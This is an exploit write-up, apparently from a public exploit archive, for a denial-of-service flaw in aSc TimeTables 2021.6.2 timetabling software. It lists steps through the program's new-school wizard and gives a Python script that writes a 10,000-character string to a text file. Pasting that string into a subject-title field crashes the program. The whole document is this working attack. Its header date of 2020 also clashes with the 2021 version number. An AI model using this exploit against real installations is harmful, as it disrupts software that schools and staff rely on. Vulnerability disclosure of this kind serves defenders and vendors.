# Exploit Title: aSc TimeTables 2021.6.2 - Denial of Service (PoC) # Date: 2020-01-12 # Exploit Author: Ismael Nava # Vendor Homepage: https://www.asctimetables.com/#!/home # Software Link: https://www.asctimetables.com/#!/home/download # Version: 2021.6.2 # Tested on: Windows 10 Home x64 # STEPS # Open the program aSc Timetables 2021 # In File select the option New # Put any letter in the fiel Name of the Schooland click Next # In the next Windows click NEXT # In the Step 3, in Subject click in New # Run the python exploit script, it will create a new .txt files # Copy the content of the file "Metoo.txt" # Paste the content in the field Subject title # Click in OK # End :) buffer = 'Z' * 10000 try: file = open("Metoo.txt","w") file.write(buffer) file.close() print("Archive ready") except: print("Archive no ready")